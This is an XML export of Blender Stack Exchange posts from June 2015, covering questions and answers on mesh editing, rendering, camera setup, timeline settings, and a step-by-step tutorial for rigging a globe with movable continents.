  <row Id="32365" PostTypeId="1" CreationDate="2015-06-12T20:07:41.507" Score="3" ViewCount="982" Body="&lt;p&gt;Is it possible to slide multiple vertices along edges that point towards a certain point? As demonstrated in the first picture, I would like to slide the selected along the edges on the direction shown by the arrows, but simultaneously, so they are all equidistant from the center (without merging them). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K08GV.png&quot; alt=&quot;Picture 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that if I select them and slide them on the edges at the same time, they slide in the direction of my mouse cursor, and therefore will slide in different directions, as show in the second picture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YMl20.png&quot; alt=&quot;Picture 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Push/pull would indeed bring them closer, but without sliding on the edges (basically only bringing them close on 2 axes). Is there any way to accomplish what both push/pull and slide do, simultaneously? Or another effective way of doing this transformation?&lt;/p&gt;&#xA;" OwnerUserId="14972" LastActivityDate="2015-06-12T20:07:41.507" Title="Pull and slide along edges simultaneously" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;transforms&gt;&lt;vertices&gt;&lt;coordinates&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32366" PostTypeId="1" AcceptedAnswerId="32419" CreationDate="2015-06-12T20:11:30.823" Score="9" ViewCount="5248" Body="&lt;p&gt;Stereo3D modes will render fine, but when switching to Multi-View I always get the error, &lt;strong&gt;&quot;Camera 'Camera' in not mutli-view camera&quot;&lt;/strong&gt;. The Camera is set to Panoramic with both a left and right camera. I even added a few extras to see if that would change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've come across this error on the 2.74 branch, the 2.75 Test Build, and 2.75 Release Candidate, so I surely doing something wrong. I've checked the camera settings, render settings, and of course scene settings, not finding a single option anywhere to change the camera type. Even from the &lt;a href=&quot;http://www.blender.org/manual/render/workflows/multiview.html&quot; rel=&quot;noreferrer&quot;&gt;Multi-View document page&lt;/a&gt;, and the &lt;a href=&quot;https://code.blender.org/2015/03/1451/&quot; rel=&quot;noreferrer&quot;&gt;branch documentation&lt;/a&gt;, it is said, &quot;that it should just work&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea on how to get the camera to register as a &quot;multi-view&quot; camera? &lt;/p&gt;&#xA;" OwnerUserId="14374" LastEditorUserId="2217" LastEditDate="2016-03-10T17:31:15.357" LastActivityDate="2016-03-10T17:31:15.357" Title="Why do I get the error &quot;Camera not Multi-View Camera&quot;?" Tags="&lt;rendering&gt;&lt;camera&gt;&lt;stereoscopy&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32369" PostTypeId="2" ParentId="32308" CreationDate="2015-06-12T21:07:28.913" Score="8" Body="&lt;p&gt;Make sure you are in &lt;strong&gt;Object mode&lt;/strong&gt;, then select &lt;strong&gt;both&lt;/strong&gt; the character and the armature. First select one, then hold &lt;kbd&gt;Shift&lt;/kbd&gt; while selecting the other, then duplicate with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mKtTW.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorUserId="15338" LastEditDate="2017-12-01T01:37:08.280" LastActivityDate="2017-12-01T01:37:08.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32370" PostTypeId="1" CreationDate="2015-06-12T21:42:00.883" Score="0" ViewCount="128" Body="&lt;p&gt;In my Blender project, I have two Minecraft characters, each one has an armature.&#xA;I would like these two characters have their own texture (skin).&#xA;What should I do to make both of them have their own texture ?&lt;/p&gt;&#xA;" OwnerUserId="14953" LastEditorUserId="1245" LastEditDate="2015-06-12T22:37:34.367" LastActivityDate="2015-07-13T20:13:05.830" Title="How to make two characters have their own texture" Tags="&lt;texture-painting&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32371" PostTypeId="1" CreationDate="2015-06-12T22:15:43.717" Score="2" ViewCount="625" Body="&lt;p&gt;Is it possible to set up a gpu rendering farm? I have a cpu render farm but I would like to make a faster gpu render farm. The gpus I have are a geforce 8400m and a geforce gt 730 my is is ubuntu 14.04. And My internet is definitely fast enough to handle this.&lt;/p&gt;&#xA;" OwnerUserId="12782" LastEditorUserId="12782" LastEditDate="2015-06-15T15:41:44.390" LastActivityDate="2015-06-15T15:41:44.390" Title="luxrender gpu render farm" Tags="&lt;rendering&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32372" PostTypeId="2" ParentId="32351" CreationDate="2015-06-12T22:17:31.680" Score="1" Body="&lt;p&gt;Octane Render is the world’s first GPU based, un-biased, physically based renderer. Octane Render runs exclusively on Nvidia's CUDA technology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check on Wikipedia:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Octane_Render&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Octane_Render&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9684" LastActivityDate="2015-06-12T22:17:31.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32373" PostTypeId="1" CreationDate="2015-06-12T22:27:08.940" Score="2" ViewCount="1205" Body="&lt;p&gt;I model a digger assembled of multiple parts, place several instances of it into the scene and animate each instance's bucket individually within the rotation constraints specified by the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the task to be performed. An everday's task and a core requirement for an animation software. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, construct a car and put some of this same brand and model into the scene. One should steer to the left, another one to the right, the next one's window is open and another one's trunk is open. They are all instances of the same model, just with movable parts to be animated within the limits as specified with the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that it's not doable in an acceptable way:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Copying the objects the digger is made of would mean that any future change to the model would have to be done numerous times with every instance. Copies are not instances.&lt;/li&gt;&#xA;&lt;li&gt;The parts of group instances are frozen. The group's objects, like the bucket, are not rotatable individually.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After 15 years of trying to work with Blender, stumbling across this again and again, I'd really like to know this now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14975" LastActivityDate="2016-03-10T18:19:20.327" Title="Animating model instances" Tags="&lt;animation&gt;&lt;instances&gt;" AnswerCount="1" CommentCount="18" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32374" PostTypeId="1" CreationDate="2015-06-12T22:30:54.440" Score="4" ViewCount="491" Body="&lt;p&gt;Is there a setting for vertex painting which allows you to paint on geometry that is visually obscured from the view by geometry in front of it?  (I am looking for something similar to the &lt;em&gt;limit selection to visible&lt;/em&gt; toggle in edit mode.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture that illustrates what I am trying to achieve:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Y2VgF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a simple object consisting of two planes.  I painted across the entire object from the view shown on the left.  However, as seen on the right, you can see that it did not paint the part of the back plane covered by the front plane.  Is there a way to paint &quot;through&quot; geometry like this?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-06-13T14:16:53.313" Title="Is there a way to not limit vertex painting to visible geometry?" Tags="&lt;mesh&gt;&lt;vertex-colors&gt;&lt;vertex-paint&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32376" PostTypeId="1" AcceptedAnswerId="32418" CreationDate="2015-06-12T23:00:23.707" Score="5" ViewCount="6285" Body="&lt;p&gt;How do the AV-sync, Frame Dropping and No Sync options in Timeline work when working with audio and video?&lt;/p&gt;&#xA;" OwnerUserId="14923" LastActivityDate="2016-02-01T11:22:08.527" Title="How do the AV-sync, Frame Dropping and No sync in Timeline work?" Tags="&lt;video&gt;&lt;timeline&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32377" PostTypeId="1" AcceptedAnswerId="32378" CreationDate="2015-06-12T23:16:15.477" Score="11" ViewCount="14896" Body="&lt;p&gt;I would like to have the time line and key frames be in seconds instead of frames. When I animate something at 30 fps and then decided to change it to 60 fps the animation will play at twice the speed.&lt;/p&gt;&#xA;" OwnerUserId="12782" LastEditorUserId="12782" LastEditDate="2015-08-20T00:59:36.673" LastActivityDate="2019-04-10T17:56:47.980" Title="blender timeline in seconds instead of frames" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;timeline&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32378" PostTypeId="2" ParentId="32377" CreationDate="2015-06-12T23:27:38.607" Score="19" Body="&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;T&lt;/kbd&gt; with your mouse inside the timeline. This toggles that view. Do that and the timeline will depict parts in frames instead of seconds. This is useful for if you want it to be in seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can also be accessed via the view menu.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TEofW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there are times when one is preferable over the other.&lt;/p&gt;&#xA;" OwnerUserId="10911" LastEditorUserId="8262" LastEditDate="2015-06-13T02:28:31.140" LastActivityDate="2015-06-13T02:28:31.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32379" PostTypeId="2" ParentId="32324" CreationDate="2015-06-12T23:59:27.463" Score="4" Body="&lt;p&gt;What I ended up doing was going into the Windows settings and changing the &quot;Special key to move and resize windows&quot; to Super (the windows button) instead of Alt.&lt;img src=&quot;https://i.stack.imgur.com/BF8DG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-06-12T23:59:27.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32380" PostTypeId="2" ParentId="31647" CreationDate="2015-06-13T01:27:44.793" Score="6" Body="&lt;p&gt;Since you say you don't require any texturing, I've tried to accomplish what you want without any UV unwrapping, and I think I've got it working.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a plane, tab into Edit mode, make sure everything is selected (it should be, but if it's not, hit &lt;kbd&gt;A&lt;/kbd&gt; once or twice until it is), scale by 2 on the X axis and add a loop cut like this (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;, place the mouse near one of the longer edges, left click to make the cut, then right click to release without moving the newly created edge).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7JMzV.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select everything (&lt;kbd&gt;A&lt;/kbd&gt; twice) and make some subdivisions (&lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;kbd&gt;S&lt;/kbd&gt;). If you have the tool shelf visible, the settings for the subdivisions should be available at the bottom of it, otherwise hit &lt;kbd&gt;T&lt;/kbd&gt; to show it, or &lt;kbd&gt;F6&lt;/kbd&gt; to open a dialogue with those settings.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3fbjZ.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extrude the continents. Since you explained your own method of doing this quite well in &lt;a href=&quot;https://blender.stackexchange.com/questions/31479/equirectangular-world-map-uv-layout&quot;&gt;this question&lt;/a&gt;, I'm not going to go into details about that. What I've done here is simply selecting some vertices by dragging the circle select tool around randomly, then extruding.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oN88F.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the bottom vertices of the continents are selected. With the way I extruded the continents, I simply hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad +&lt;/kbd&gt;, but with your method, you may need some more elaborate way.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/b9jnp.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select also the rim of the plane.&lt;br&gt;&#xA;If none of the currently selected vertices are on the rim, hold &lt;kbd&gt;Shift&lt;/kbd&gt; while selecting one corner vertex, then hold &lt;kbd&gt;Ctrl&lt;/kbd&gt; while selecting the other three corners, then finally click the first corner again while still holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;.&lt;br&gt;&#xA;If some of the currently selected vertices are on the rim, hold &lt;kbd&gt;Shift&lt;/kbd&gt; while selecting a currently unselected vertex on the rim, which is next to a selected one, also on the rim, then, while holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;, select another vertex on the rim, next to a selected one, also on the rim, and make sure the distance between the last selected one and the one you're about to select is covered by a straight line of only unselected vertices. If the distance between them passes a corner, first select that corner vertex while holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qDnJw.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Invert the selection (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;) and delete the vertices that are now selected (&lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;kbd&gt;V&lt;/kbd&gt;).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CHXJy.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to face select mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;kbd&gt;Numpad 3&lt;/kbd&gt;). Now you need to select all the faces that are connected to the rim of the plane. Select a face at one end of a continous string of faces, then, while holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;, select the face at the other end of the same string of faces. While holding &lt;kbd&gt;Shift&lt;/kbd&gt;, select a face at one end of another string of faces, then, while holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;, select the face at the other end of the same string of faces. Repeat this until all the faces that are connected to the rim of the plane are selected.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RfMyK.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the faces that you just selected (&lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;kbd&gt;F&lt;/kbd&gt;).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WcFia.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zoom in and pan around to see if there are any edges like in the image below. If there are, switch to edge select mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;kbd&gt;Numpad 2&lt;/kbd&gt;), select and delete them (&lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;kbd&gt;E&lt;/kbd&gt;).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6Fb4m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tab back to object mode. Add another plane and repeat steps 1 and 2 above on the new plane, possibly with fewer subdivisions if you so desire. This plane will be the ocean. In the following I will refer to the first plane as &quot;the continents&quot; and the second plane as &quot;the ocean&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do require UV unwrapping, now is the time to do it. In that case, tab into Edit mode, select the vertices highlighted in the image (make sure the corner vertices are not selected), add them to a new vertex group (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; &gt; &lt;kbd&gt;A&lt;/kbd&gt;) and mark them as seam (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; &gt; &lt;kbd&gt;A&lt;/kbd&gt;). Do this for both the planes &lt;strong&gt;before&lt;/strong&gt; unwrapping.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jbJY1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an empty and set its rotation to -90° on both the X and Z axes. Select both planes (select one, then hold &lt;kbd&gt;Shift&lt;/kbd&gt; while selecting the other). Add a Simple Deform modifier, set it to Bend, set the Origin to the empty and the angle to 180°. This will add the modifier only to the last selected of the planes, so move the mouse to the 3D view and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; &gt; &lt;kbd&gt;I&lt;/kbd&gt; to copy the modifier to the other plane. Apply the modifier to both planes. A workaround to apply modifiers to several objects at once, is to press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &gt; &lt;kbd&gt;M&lt;/kbd&gt; with all objects selected.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lu2rc.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the rotation of the empty to 0° on the Z axis (but keep it to -90° on the X axis). Once again select both planes and add a Simple Deform modifier, set it to Bend, set origin to the empty and this time set the angle to 360°. Copy the modifier as above, and apply it to both planes as above. Now you can safely delete the empty if you wish.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GRtuC.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step depends on whether you UV unwrapped or not.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you did &lt;strong&gt;not&lt;/strong&gt; UV unwrap:&lt;br&gt;&#xA;Select the ocean, tab into Edit mode, make sure everything is selected and remove doubles (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; &gt; &lt;kbd&gt;D&lt;/kbd&gt;).&lt;br&gt;&#xA;Tab back to Object mode and select the continents. Tab into Edit mode, make sure everything is selected and remove doubles (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; &gt; &lt;kbd&gt;D&lt;/kbd&gt;). If you have any vertices and/or edges that aren't connected to any faces, select those and delete them.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ea7Hg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you did UV unwrap:&lt;br&gt;&#xA;Select one of the planes and tab into Edit mode. Make sure everything is deselected (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to deselect if anything is selected). Go to the Object Data tab, select the group and click Select. Remove doubles. The group can now be deleted by clicking the - sign next to the vertex group list. Repeat this for the other plane. Then follow the steps to delete vertices and/or edges that aren't connected to any faces as explained above under &quot;If you did &lt;strong&gt;not&lt;/strong&gt; UV unwrap.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YwhZx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;If you simply select everything and remove doubles after UV unwrapping, the UV map will look like this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cBB2l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;If you follow the steps above, the UV map will look like this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Eu7Dv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tab back to Object mode and select the ocean. Set the origin to geometry (Object &gt; Transform &gt; Origin to Geometry).Scale it up slightly, to make the continents slightly sunken into the ocean. Snap the cursor to selected (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;kbd&gt;U&lt;/kbd&gt;). Select the continents and set origin to the 3D cursor (Object &gt; Transform &gt; Origin to 3D Cursor).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9aXQS.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hit &lt;kbd&gt;Z&lt;/kbd&gt; to go into wireframe view mode. Add a bone (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;kbd&gt;S&lt;/kbd&gt;). Tab into Edit mode and make sure the whole bone is selected. Rotate the bone to point roughly to the centre of one of the continents, and scale it down a little so it doesn't reach the surface. This will be the control bone for an entire continent. Extrude it a few times (with the bone selected hit &lt;kbd&gt;E&lt;/kbd&gt;; you will need to select the first bone before every extrusion, or the extrusion will come out of the new bone). Point the extruded bones to the edge of the continent. These extruded bones will control the deformation as the continents collide. The more bones you add, the better control you will have. While still in Edit mode, add a control bone for another continent, and make some extrusions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have all the bones, tab into Object mode and make the armature the parent of the continents. Select the continents, then hold &lt;kbd&gt;Shift&lt;/kbd&gt; while selecting the armature. Hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; and select a suitable option from the drop down menu. I used &quot;With Automatic Weights&quot; in my example, but I strongly suggest you use &quot;With Empty Groups&quot; and manually weight paint. I'm not going to go into details about that, but basically you'll need the groups affected by the control bones for whole continents to have that continent all red, while the groups affected by the extruded bones should be red around the tip of the corresponding bone and fade to blue further away. There are &lt;a href=&quot;https://blender.stackexchange.com/search?q=weight%20painting&quot;&gt;several&lt;/a&gt; questions about weight painting here on Blender.SE that will most likely be helpful if you don't know how to do it. You may want to rename the bones &lt;strong&gt;before&lt;/strong&gt; parenting, to make it easier to know which bones controls what.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/T47sI.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hit &lt;kbd&gt;Z&lt;/kbd&gt; to go back to solid view.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the result:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/l7y3y.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point you can join the two objects into one. Make sure they do not have any UV maps and/or vertex groups with the same name. Rename the UV maps and/or vertex groups if necessary, but keep in mind that if you rename any vertex groups that are controlled by bones, you need to rename the corresponding bones as well. If the two objects have identically named UV maps and/or vertex groups, these will be merged into one map or group in the joined object. Once you made sure about this, select both objects in Object mode (first select one, then, while holding &lt;kbd&gt;Shift&lt;/kbd&gt;, select the other one), then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;. Don't use the Boolean modifier, as this is sure to mess up the rig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two reasons for using a plane for the ocean, rather than adding a sphere directly. The planes are easily scalable to equal size, so no need to calculate the radius of a sphere, and they will have the same origin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credit should go to @LeonCheung for &lt;a href=&quot;https://blender.stackexchange.com/questions/24043/how-to-animate-morphing-a-rectangular-plane-into-a-sphere/24053#24053&quot;&gt;this answer&lt;/a&gt;, which I used to create spheres from planes.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorUserId="-1" LastEditorDisplayName="user7952" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-06-14T03:08:59.960" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32381" PostTypeId="1" AcceptedAnswerId="32384" CreationDate="2015-06-13T02:26:08.727" Score="0" ViewCount="355" Body="&lt;p&gt;When I turn an object (with an emission shader) in my scene on it makes part of the scene actually go darker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The light in question is on the outside of a vehicle (which has lights on the inside of the vehicle too) The light on the outside of the vehicle cannot reach the inside of the vehicle as it has no path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made a quick example of the problem. But the problem I am seeing is more pronounced than this example, in my scene even if I turn the samples up to 2000 I never recover the light and it still appears darker and more grainy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a quick 100 sample render with the light disabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kI3Ue.png&quot; alt=&quot;light off&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is a render with the light enabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aex58.png&quot; alt=&quot;light on&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that in the second picture that the scene inside the vehicle actually becomes darker&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to tackle this issue???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have got clamp Direct set to 4 and indirect set to 2 which tackles a lot of the grainy-ness but adding this light just makes my scene look terrible... but i need this light as it is integral to the scene.&lt;/p&gt;&#xA;" OwnerUserId="14935" LastEditorUserId="14935" LastEditDate="2015-06-13T02:33:49.997" LastActivityDate="2015-06-13T04:12:58.677" Title="Cycles - Adding an object with emission shader makes part of my scene darker?" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32382" PostTypeId="1" CreationDate="2015-06-13T02:32:52.833" Score="9" ViewCount="28281" Body="&lt;p&gt;How can I animate a texture?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to animate an object with a texture on it, but instead, animate the texture itself and have the UV move. If the UV moves, the texture will change live. This is what I am going for.&lt;/p&gt;&#xA;" OwnerUserId="14977" LastEditorDisplayName="user7952" LastEditDate="2015-06-14T23:03:59.993" LastActivityDate="2016-09-17T14:32:01.527" Title="Is it possible to animate textures?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;transforms&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32383" PostTypeId="1" AcceptedAnswerId="32389" CreationDate="2015-06-13T03:03:17.780" Score="1" ViewCount="907" Body="&lt;p&gt;Is there a way to make text follow the contours of a curve without distorting the individual characters? When I use curve deform modifiers, then I get very oddly stretched text, often making it unreadable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already checked these questions, they don't help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7357/array-modifier-deforming-mesh&quot;&gt;Array Modifier deforming mesh&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/8235/why-is-the-curve-modifier-deforming-strangely&quot;&gt;Why is the curve modifier deforming strangely?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-06-13T07:44:21.470" Title="How can I align a text object to curve without deformation?" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32384" PostTypeId="2" ParentId="32381" CreationDate="2015-06-13T04:12:58.677" Score="2" Body="&lt;p&gt;What's happening here, is you have your light inside. Cycles is throwing a lot of samples there because there aren't any other lights. Then, you added your other light and it had multiple importance enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles will of coarse have to throw some samples at that light, so that in it's self will make it noisier, but in addition to that, having multiple importance on, tells Cycles that that light is more important than the other light, so it throws even more samples at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically what you're seeing, is your render getting noisier, and therefore appearing darker, because of the extra lights.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2015-06-13T04:12:58.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
